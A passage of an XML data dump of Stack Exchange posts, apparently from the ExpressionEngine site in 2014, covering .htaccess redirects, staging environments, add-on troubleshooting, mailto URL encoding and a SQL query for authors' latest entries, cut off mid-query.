  <row Id="21694" PostTypeId="2" ParentId="21536" CreationDate="2014-05-06T02:28:11.753" Score="2" Body="&lt;p&gt;Nothing comes to mind for a plugin specifically, but this is more of a job for the .htaccess file to handle. If you aren't familiar with all of the rules to apply, there is a great book available - &lt;a href=&quot;http://htaccessbook.com&quot; rel=&quot;nofollow&quot;&gt;http://htaccessbook.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few ways to approach this, the following is by no means providing perfect examples but just indicating the possibilities available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I redirect visitors using the .htaccess file. This one for example will redirect visitors from Russia (^RU$) to another URL, in this case Google's front page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on    &#xA;RewriteCond %{ENV:GEOIP_COUNTRY_CODE} ^RU$ [NC]&#xA;RewriteRule ^(.*)$ http://google.com [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you could of course redirect visitors to a page that handles information more suited to them or stating when they will be able to access the information at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it can be used to redirect UK visitors to the correct location of the pages you wish them to solely see. So it can work both ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's required to use a known IP address, then the example line would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on &#xA;RewriteCond %{REMOTE_ADDR} ^55\.55\.138\.243&#xA;RewriteRule ^(.*)$ http://google.com [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it were just a single unique IP address (usually a company IP) then you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REMOTE_HOST} 123\.456\.789&#xA;RewriteCond %{REQUEST_URI} /requested-page\.html&#xA;RewriteRule .* /just-for-you.html [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's an alternative to this which is the mod_rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;      RewriteCond %{REMOTE_ADDR} ^111\.222\. [OR]&#xA;      RewriteCond %{REMOTE_ADDR} ^123\.456\.789\.0$&#xA;      RewriteRule .* http://example.com/right_location_for_UK_visitors [L,R=302]&#xA;￼￼￼￼&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first condition is matching a range of IP's whilst the second is targeting a single IP address.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-05-06T02:28:11.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21695" PostTypeId="1" AcceptedAnswerId="21696" CreationDate="2014-05-06T03:48:49.640" Score="0" ViewCount="550" Body="&lt;p&gt;So, as a precursor - I'm new to using Git and the FocusLab Master Config and having a few issues getting set up. I'm using a Nexcess shared EEP-100 account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I follow everyone's advice on developing with Git, my ideal setup should have a staging or development branch / site alongside the live site so I can push and test changes first before merging and pushing to production and understand that all environments must have the same structure in order to work correctly and herein is my problem…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a secondary domain on the Nexcess account it gets its own folder with web root (html) etc contained and everything works as advertised but this requires a full domain not a subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a sub-domain the target folder is added to the web root of the primary domain so my set up is not going to be consistent with the local and production environments and i'd be installing everything at web root - in which instance all the base paths etc will be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does everyone deal with this when setting up Git / EE?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-05-06T04:43:19.143" Title="Trying to set up dev / staging environment for EE on Nexcess hosting" Tags="|focus-lab-master-config|git|hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21696" PostTypeId="2" ParentId="21695" CreationDate="2014-05-06T04:43:19.143" Score="1" Body="&lt;p&gt;Strictly speaking, this isn't an issue with either EE or Git, but just a quirk in the Siteworx hosting control panel that Nexcess uses. You can get around it by, instead of adding a subdomain to one of the domains you already configured in the panel, you add it as a new &quot;secondary domain&quot;. To do this, go to Hosting Features -&gt; Domains -&gt; Secondary. Enter the full (sub)domain you want to use for the staging site in the first input box: e.g. &quot;sub.domain.com&quot;. Siteworx doesn't check or care that you previously used &quot;domain.com&quot;, it just goes ahead and creates a new webroot on the server, where you can deploy your development site.&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2014-05-06T04:43:19.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21698" PostTypeId="2" ParentId="21687" CreationDate="2014-05-06T06:48:52.840" Score="0" Body="&lt;p&gt;Assets 2.2.1 has an issue of calling the hook at the wrong time - you should update to at least 2.2.2 and then the hook will actually be triggered before the rename/move operation with the correct $file variable.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-05-06T06:48:52.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21699" PostTypeId="1" CreationDate="2014-05-06T07:00:35.303" Score="0" ViewCount="101" Body="&lt;p&gt;I need to create a megamenu for a site which links to a bunch of category pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have megamenus for Product Type A &amp;amp; B which are also categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Product Type A there are headings for Materials, Brand &amp;amp; Usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product Type B will also have a megamenu with a Brand subheading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have a category group for Brands and I'm just listing out all the categories in that group under the respective headings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need to do is make sure that under the Brand heading for Product Type A that only Brands that have entries that are also assigned to the Product Type A category show, and so on for Type B etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most of the options in these menus I'm just dealing with categories because there won't be any overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there will for Brands and so I need to look at the entries and then build the list of category options from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I go about that?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-05-07T23:19:48.480" Title="Only show categories if entries exist in that category AND in another separate category" Tags="|categories|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21700" PostTypeId="2" ParentId="20112" CreationDate="2014-05-06T07:01:22.777" Score="0" Body="&lt;p&gt;For item 3 on your list try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if avatar}&#xA;    ...stuff...&#xA;{if:else}&#xA;    ...other stuff...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-06T07:01:22.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21701" PostTypeId="1" CreationDate="2014-05-06T07:16:07.180" Score="1" ViewCount="124" Body="&lt;p&gt;I use a channel form which allows a non logged in person to post to a certain channel. On my entire site (so also on that particular page) I always have a AJAX login dialog, or when logged in a profile menu (and profile dialog). My problem now is when I come on the page where a non logged in user can post - expressionengine automatically does a sort of log in for the guest user in the background. Now this gets me in problems with my profile dialog (which gets loaded for the guest user, while it should only exist for a proper logged in user). And I don't get my AJAX login form anymore (as for expressionengine somebody is already logged in - so the login does not get shown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to work around it but this is pretty tricky without changing a lot of stuff. Especially because my login is not on a seperate page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to allow non logged_in people to get a channel form and post, without expressionengine doing a guest login in the background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greetings, Rick&lt;/p&gt;&#xA;" OwnerUserId="3055" LastActivityDate="2014-05-06T19:27:35.233" Title="Expressionengine2: how use a channel form for non logged in people (without expressionengine doing a guest login in the background)" Tags="|login|guest|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21702" PostTypeId="1" CreationDate="2014-05-06T07:36:43.657" Score="0" ViewCount="49" Body="&lt;p&gt;Does Freeform 4x (the free version) work with ExpressionEngine Core 2.8.1 ?&#xA;I uploaded the Freeform folder into the third_party folder on my server and refreshed the modules page. I wasnt able to see Freeform under it.&#xA;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3057" LastActivityDate="2014-05-06T08:03:53.070" Title="Freeform 4 and ExpressionEngine Core" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21703" PostTypeId="2" ParentId="21702" CreationDate="2014-05-06T08:03:53.070" Score="1" Body="&lt;p&gt;Minutes after posting this I remembered blindly copied the files. &#xA;My bad. I remember seeing a video that says the developers of add-ons specify the folder structure where the files need to be copied.&lt;/p&gt;&#xA;" OwnerUserId="3059" LastActivityDate="2014-05-06T08:03:53.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21704" PostTypeId="2" ParentId="21669" CreationDate="2014-05-06T08:11:19.157" Score="0" Body="&lt;p&gt;As well as the conventional multi-language add-ons such as Transcribe you could achieve this using Structure, the Pages module or perhaps even the new template routing in EE 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done something like this with structure where each language's &quot;home&quot; page was given a url based on their country code. For instance /en or /de. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries/pages for the different translations were then placed under these pages. This means each entry/page can have it's own language specific URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this means you have to create different entries for each language but that may not be a bad thing and really depends on the nature of your site and how you want it to be managed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also be possible to use the first url segment (the language code) and feed that into your field tags to make things a bit easier for you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-06T08:11:19.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21705" PostTypeId="1" CreationDate="2014-05-06T08:22:19.487" Score="0" ViewCount="84" Body="&lt;p&gt;Sites design uses Bootstrap/jQuery tabs in content area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content inside the tabs is set up as Grid (image file, description, link etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to make creating/adding tabs dynamic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid inside Grid would be nice :)&#xA;Maybe plaintext field in each Grid row with tab name + some clever templating to group rows with same “tab name”? Not so elegant..&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Take a look &lt;a href=&quot;http://ford.co.uk/Cars/Ka/Design#primaryTabs&quot; rel=&quot;nofollow&quot;&gt;http://ford.co.uk/Cars/Ka/Design#primaryTabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar tabbed content as this page (Inerior/Wheels/etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All content is entered in the Grid filetype (image file, description, link etc). &#xA;I could define 3 separate Channel Fields with Grid filetype, one for Tab1 content, second for Tab2 content, third for Tab3 content. But problem is, I don’t know (its up to editors choice) how many Tabs there will be. Also I don’t want to clutter content editors view with unnecessary fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i said, it would be easy with nested Grid (for each tab a row, whitch then contains content)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some clever way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3058" LastEditorUserId="3058" LastEditDate="2014-05-06T17:34:19.280" LastActivityDate="2014-05-06T17:34:19.280" Title="Channel Field setup ideas for tabbed content" Tags="|channel-entries|grid|jquery|bootstrap|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21708" PostTypeId="1" AcceptedAnswerId="21782" CreationDate="2014-05-06T10:51:26.983" Score="2" ViewCount="94" Body="&lt;p&gt;Has anyone ever encountered a situation in which the Minimee tag pair (using version 2.1.10) correctly outputs a minified CSS file to the cache directory, but the JS tag pair simply has no effect at all and the various JS files wrapped with the Minimee JS tags simply wind up as-is in the template?  In both cases the files are static CSS and JS files loading from the local server.  But the CSS files are being combined, while it seems like the minimee js tag pair is being ignored.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-08T09:18:53.317" Title="Minimee CSS tags produce output while JS tags do not" Tags="|css|minimee|js|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21709" PostTypeId="2" ParentId="21685" CreationDate="2014-05-06T11:33:59.833" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Low Search's Categories filter&lt;/a&gt; will allow you to do this, without PHP in your template. Simply use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;Results tag&lt;/a&gt; as a replacement for the channel:entries tag, and you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    channel=&quot;some_channel&quot;&#xA;    category:group1=&quot;6|7|8|57&quot;&#xA;    category:group2=&quot;18&quot;&#xA;    limit=&quot;15&quot;&#xA;    paginate=&quot;top&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All parameters themselves are combined with AND, but each parameter itself can hold values that are queried with either AND or OR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Results tag like this doesn't require having or submitting a search form.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-06T11:33:59.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21711" PostTypeId="1" CreationDate="2014-05-06T13:15:26.060" Score="0" ViewCount="187" Body="&lt;p&gt;In first, sorry to something.&#xA;I'm new in EE and need make a form of custom table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex: &#xA;my table have 4 fields, name, old, address, city. (this is only example.)&#xA;and need make in control panel a form to cadastre, edit, delete my register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in many sites and only saw about EE 1 but I'm using EE 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can somebody tell me any site or examples to I follow and study more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one more time, sorry something.&lt;/p&gt;&#xA;" OwnerUserId="3061" LastActivityDate="2014-05-07T17:53:50.260" Title="I need make a Form the custom module" Tags="|templates|module|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21712" PostTypeId="1" CreationDate="2014-05-06T13:47:07.777" Score="0" ViewCount="88" Body="&lt;p&gt;I upgraded to EE 2.7.3 a few months back and recently added caching preferences to our .htaccess file for site optimization. Since these changes, I'm currently having two issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sometimes when I press the 'Log-out' button, it just refreshes the&#xA;page and keeps me logged in.&lt;/li&gt;&#xA;&lt;li&gt;After I'm logged out based on time or when the 'Log-out'&#xA;button does work, when I try to log back in - I will occasionally&#xA;have the screen loop on a white screen and it won't&#xA;go to the control panel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Clearing my cache solves both issues. I don't have a problem doing this, but we're starting to roll the control panel out to others at work and I would rather it just work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my 'Security and Session Preferences', I have the CP Session type set to 'Cookies and session ID'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htaccess code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;ExpiresActive On&#xA;ExpiresDefault &quot;access plus 24 hours&quot;&#xA;ExpiresByType image/jpg &quot;access plus 1 months&quot;&#xA;ExpiresByType image/gif &quot;access plus 1 months&quot;&#xA;ExpiresByType image/jpeg &quot;access plus 1 months&quot;&#xA;ExpiresByType image/png &quot;access plus 1 months&quot;&#xA;ExpiresByType text/javascript &quot;access plus 1 months&quot;&#xA;ExpiresByType application/javascript &quot;access plus 1 months&quot;&#xA;ExpiresByType application/x-shockwave-flash &quot;access plus 1 months&quot;&#xA;ExpiresByType text/css &quot;access plus 1 hours&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't think this would affect the control panel itself, but I may be wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to specify I don't want the control panel cached, or does this sound like an issue unrelated to the .htaccess?&lt;/p&gt;&#xA;" OwnerUserId="1406" LastActivityDate="2017-03-30T15:47:15.893" Title="Control Panel won't log out, loops when logging back in randomly" Tags="|control-panel|htaccess|caching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21713" PostTypeId="1" AcceptedAnswerId="21780" CreationDate="2014-05-06T13:49:02.750" Score="0" ViewCount="51" Body="&lt;p&gt;I need to show a list of event per one day, lets say Today, that are only today and not repeating, and after that list I need to show events that are ongoing. I'm already filtering events per one day and that works but no sure how to filter just one day events (that don't repeat, even they are from today till tomorrow for example) and after events that are ongoing that repeat weekly/monthly etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-05-08T07:55:33.587" Title="Solspace Calendar: showing non-ongoing events and only ongoing" Tags="|solspace|solspace-calendar|calendar-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21715" PostTypeId="2" ParentId="21701" CreationDate="2014-05-06T13:49:40.227" Score="1" Body="&lt;p&gt;What about using &lt;a href=&quot;http://www.putyourlightson.net/logmein/docs&quot; rel=&quot;nofollow&quot;&gt;LogMeIn&lt;/a&gt; add-on to conditionally log out a user after form submission? &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-06T13:49:40.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21716" PostTypeId="2" ParentId="21708" CreationDate="2014-05-06T14:13:04.380" Score="2" Body="&lt;p&gt;I haven't ever seen that myself. Is the &lt;code&gt;exp:minimee:js&lt;/code&gt; tag closed properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to do is turn on EE's template debugging feature because Minimee will provide debugging info there with any errors. &lt;a href=&quot;http://johndwells.github.io/Minimee/#faq&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.github.io/Minimee/#faq&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-05-06T15:01:05.750" LastActivityDate="2014-05-06T15:01:05.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21717" PostTypeId="1" CreationDate="2014-05-06T15:09:58.327" Score="3" ViewCount="106" Body="&lt;p&gt;Just wondering if it's possible to change what fields appear on the multi edit screen. Currently the editable fields in multi edit are, Title, Url title, Status, Entry date, Make entry sticky, &amp;amp; Allow comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal is to allow fields from the Store module in the multi edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2015-01-26T22:18:39.443" Title="Change EE native multi edit?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21718" PostTypeId="2" ParentId="21712" CreationDate="2014-05-06T15:33:15.917" Score="1" Body="&lt;p&gt;Are you using a multi config environment? If you are, depending on how it's set up it may be looking for www.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into this problem, (couldn't log in) but adding this to the .htaccess fixed it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastActivityDate="2014-05-06T15:33:15.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21719" PostTypeId="1" CreationDate="2014-05-06T16:20:06.573" Score="1" ViewCount="86" Body="&lt;p&gt;I'm using Freemember for my registration form. When I click submit, I get this message: &quot;This website only accept registrations through the main registration form&quot;. Any ideas on how to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this same issue here &lt;a href=&quot;https://getsatisfaction.com/addonbakery/topics/_this_website_only_accept_registrations_through_the_main_registration_form&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/addonbakery/topics/_this_website_only_accept_registrations_through_the_main_registration_form&lt;/a&gt; but the solution provided is for the Simple Registration add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is a config variable, however I cannot find anything in the Freemember documentation that says I need to set a config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.8.1, MSM, and Freemember 2.3.1.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2014-05-06T16:20:06.573" Title="Using Freemember, I get this message &quot;This website only accept registrations through the main registration form&quot;" Tags="|ee2|freemember|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21720" PostTypeId="2" ParentId="21705" CreationDate="2014-05-06T16:21:18.673" Score="1" Body="&lt;p&gt;From the additional comments it seems you don't know how many tabs will be output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a problem as you would simply loop through each row and create a tab for each. By using the {count} variable it is possible append a unique value to an id or class attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any existing template code?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-06T16:21:18.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21721" PostTypeId="1" AcceptedAnswerId="21728" CreationDate="2014-05-06T16:33:49.203" Score="1" ViewCount="66" Body="&lt;p&gt;I'm trying to display a list of authors in a sidebar along w/ their most recent post next to their name. So something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alan Smith&#xA;&quot;The Great Beyond&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brady Crab&#xA;&quot;In the Midst&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish something like this using Stash?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-05-12T19:06:58.783" Title="Display List of Authors with Latest Post" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21722" PostTypeId="1" AcceptedAnswerId="21726" CreationDate="2014-05-06T17:08:33.097" Score="1" ViewCount="2302" Body="&lt;p&gt;I am managing careers on a client's website, and am trying to properly add a mailto link below each career description with an email address from one of the publish fields, as well as adding the subject to be the entry title of the career. I can't figure out how to properly format the entry title with %20 instead of a space. How can I do this? Here is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Applicants should email resumés to &amp;lt;a href=&quot;{mailto_email}&quot; target=&quot;blank&quot;&amp;gt;{mailto_email}&amp;lt;/a&amp;gt;.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The client wants the email address to be displayed (not encoded), so I am just displaying everything as default. I'm assuming my code will look something like the following, but with the entry title formatted somehow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Applicants should email resumés to &amp;lt;a href=&quot;{mailto_email}?subject={title}&quot; target=&quot;blank&quot;&amp;gt;{mailto_email}&amp;lt;/a&amp;gt;.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-05-06T18:31:49.707" Title="How to create dynamic mailto link with subject as entry title" Tags="|email|title|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21724" PostTypeId="1" AcceptedAnswerId="21725" CreationDate="2014-05-06T17:30:36.947" Score="4" ViewCount="842" Body="&lt;p&gt;I was advised on Twitter to post this here for others who might be looking for the same answers I was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wanted to test the user engagement of an auto-play video vs. image slides with a call-to-action. I chose A/B testing over Multivariate testing, because I only needed to switch out one section of my page. I couldn't find many articles or any answers on how to implement dynamic-content split testing with a module or add-on, so I started looking into other non-dynamic options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am not using Structure in this current project, I had found this helpful article, but couldn't implement it the way the article explained: &lt;a href=&quot;http://fortysevenmedia.com/blog/archives/google_a_b_testing_with_expressionengine_structure_freebie&quot; rel=&quot;nofollow&quot;&gt;FortySevenMedia Blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was told to look into Google Content Experiments, which looked amazing, but I didn't want to deal with multiple pages/urls, despite that looking like the easiest solution, so had to find something else to use instead. &lt;a href=&quot;https://support.google.com/analytics/answer/1745147?hl=en&amp;amp;ref_topic=1745207&amp;amp;rd=1&quot; rel=&quot;nofollow&quot;&gt;Overview of Content Experiments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-05-08T06:16:57.987" LastActivityDate="2014-08-04T22:26:08.473" Title="How to implement A/B testing (split testing) in Expressionengine" Tags="|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21725" PostTypeId="2" ParentId="21724" CreationDate="2014-05-06T17:30:36.947" Score="2" Body="&lt;p&gt;I decided upon using Optimizely, which is not the perfect solution since you can't use dynamic content, but since the client only wanted to change out 1 section of the homepage, I decided this was the best solution for what they wanted. You don't even need an account to test it out on your site, just visit their &lt;a href=&quot;https://www.optimizely.com&quot; rel=&quot;nofollow&quot;&gt;Homepage&lt;/a&gt; and enter your site url to try out how everything works and what you have control over with their code editor (which is actually so much more than I was expecting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose what page section you want to split-test and create variations, or even just change out the text/color of a button or heading to test user engagement and click-throughs.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-05-06T17:30:36.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21726" PostTypeId="2" ParentId="21722" CreationDate="2014-05-06T18:26:02.447" Score="5" Body="&lt;p&gt;You should be able to use an &lt;a href=&quot;https://github.com/juddlyon/ee-url-encoder&quot; rel=&quot;noreferrer&quot;&gt;available plugin&lt;/a&gt; to encode things for URLs. I haven't tried or used this plugin, but I think the syntax would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{mailto_email}?subject={exp:url_encoder method='rawurlencode'}{title}{/exp:url_encoder}&quot; target=&quot;blank&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a last resort, you could also use PHP and run &lt;code&gt;rawurlencode()&lt;/code&gt; on it, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{mailto_email}?subject=&amp;lt;?=rawurlencode(&quot;{title}&quot;)?&amp;gt;&quot; target=&quot;blank&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember PHP should be set to parse on the output stage.&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="74" LastEditDate="2014-05-06T18:31:49.707" LastActivityDate="2014-05-06T18:31:49.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21727" PostTypeId="2" ParentId="21717" CreationDate="2014-05-06T19:22:11.057" Score="6" Body="&lt;p&gt;I think the closest you'll get is using the &lt;a href=&quot;http://zenbustudio.com/software/henshu&quot;&gt;Henshu&lt;/a&gt; add-on, from Zenbu Studio. It's basically designed to implement bulk/inline editing in the edit entries list.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-06T19:22:11.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21728" PostTypeId="2" ParentId="21721" CreationDate="2014-05-06T19:24:30.930" Score="4" Body="&lt;p&gt;This solution doesn't use Stash, but you certainly could. This query assumes a broad application, you may be able to simplify it for your needs. The &lt;code&gt;channel_id&lt;/code&gt; in the &lt;code&gt;WHERE&lt;/code&gt; clauses will need to be modified to match your channel ID, or converted to a &lt;code&gt;WHERE IN ()&lt;/code&gt; if you are examining more than one channel (or omitted if no channel filtering is needed).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT t.author_id, m.screen_name, t.title, t.url_title&#xA;        FROM exp_channel_titles AS t&#xA;        JOIN (&#xA;            SELECT MAX(entry_date) AS max_date, author_id&#xA;            FROM exp_channel_titles&#xA;            WHERE channel_id = 1&#xA;            AND status != 'closed'&#xA;            AND entry_date &amp;lt; {current_time}&#xA;            GROUP BY 